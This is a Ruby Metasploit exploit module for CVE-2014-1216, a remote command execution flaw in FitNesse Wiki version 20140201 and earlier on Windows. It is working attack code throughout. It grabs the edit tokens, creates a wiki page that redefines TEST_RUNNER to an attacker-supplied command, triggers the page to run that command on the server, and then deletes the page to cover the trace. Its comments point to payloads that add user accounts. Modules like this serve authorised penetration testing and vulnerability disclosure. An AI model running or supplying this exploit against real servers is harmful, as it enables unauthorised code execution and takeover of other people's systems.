##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Fitnesse Wiki Remote Command Execution',
      'Description'    => %q{
        This module exploits a vulnerability found in Fitnesse Wiki, version 20140201
        and earlier.
      },
      'Author'         =>
        [
          'Jerzy Kramarz',  ## Vulnerability discovery
          'Veerendra G.G <veerendragg {at} secpod.com>', ## Metasploit Module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2014-1216' ],
          [ 'OSVDB', '103907' ],
          [ 'BID', '65921' ],
          [ 'URL', 'http://secpod.org/blog/?p=2311' ],
          [ 'URL', 'http://secpod.org/msf/fitnesse_wiki_rce.rb' ],
          [ 'URL', 'http://seclists.org/fulldisclosure/2014/Mar/1' ],
          [ 'URL', 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-1216/' ]
        ],

      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "",
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd', ##
              ##'RequiredCmd'  => 'generic telnet',
              ## payloads cmd/windows/adduser and cmd/windows/generic works perfectly
            }
        },
      'Platform'       => %w{ win },
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          ['Windows', { 'Platform' => 'win' } ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Feb 25 2014'))

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [true, 'Fitnesse Wiki base path', '/'])
      ], self.class)
  end

  def check
    print_status("#{peer} - Trying to detect Fitnesse Wiki")
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path)
    })

    if res && res.code == 200 && res.body.include?(">FitNesse<")
      print_good("#{peer} - FitNesse Wiki Detected!")
      return Exploit::CheckCode::Detected
    end

    return Exploit::CheckCode::Safe
  end

  def http_send_command(command)

    ## Construct random page in WikiWord format
    uri = normalize_uri(target_uri.path, 'TestP' + rand_text_alpha_lower(7))
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => uri + "?edit"
    })

    if !res || res.code != 200
      fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!")
    end

    print_status("#{peer} - Retrieving edit time and ticket id")

    ## Get Edit Time and Ticket Id from the response
    res.body =~ /"editTime" value="((\d)+)"/
    edit_time = $1

    res.body =~ /"ticketId" value="((-?\d)+)"/
    ticket_id = $1

    ## Validate we are able to extract Edit Time and Ticket Id
    if !edit_time or !ticket_id
      print_error("#{peer} - Failed to get Ticket Id / Edit Time.")
      return
    end

    print_status("#{peer} - Attempting to create '#{uri}'")

    ## Construct Referer
    referer = "http://#{rhost}:#{rport}" + uri + "?edit"

    ## Construct command to be executed
    page_content = '!define COMMAND_PATTERN {%m}
!define TEST_RUNNER {' + command + '}'

    print_status("#{peer} - Injecting the payload")
    ## Construct POST request to create page with malicious commands
    ## inserted in the page
    res = send_request_cgi(
    {
      'uri'     => uri,
      'method'  => 'POST',
      'headers' => {'Referer' => referer},
      'vars_post' =>
        {
          'editTime' => edit_time,
          'ticketId' => ticket_id,
          'responder' => 'saveData',
          'helpText' => '',
          'suites' => '',
          '__EDITOR__1' => 'textarea',
          'pageContent' => page_content,
          'save' => 'Save',
        }
    })

    if res && res.code == 303
      print_status("#{peer} - Successfully created '#{uri}' with payload")
    end

    ## Execute inserted command
    print_status("#{peer} - Sending exploit request")
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => uri + "?test"
    })

    if res && res.code == 200
      print_status("#{peer} - Successfully sent exploit request")
    end

    ## Cleanup by deleting the created page
    print_status("#{peer} - Execting cleanup routine")
    referer = "http://#{rhost}:#{rport}" + uri + "?deletePage"
    res = send_request_cgi(
    {
      'uri'     => uri + "?deletePage",
      'method'  => 'POST',
      'headers' => {'Referer' => referer},
      'vars_post' =>
        {
          'confirmed' => 'Yes',
        }
    })
  end

  def exploit
    http_send_command(payload.encoded)
  end
end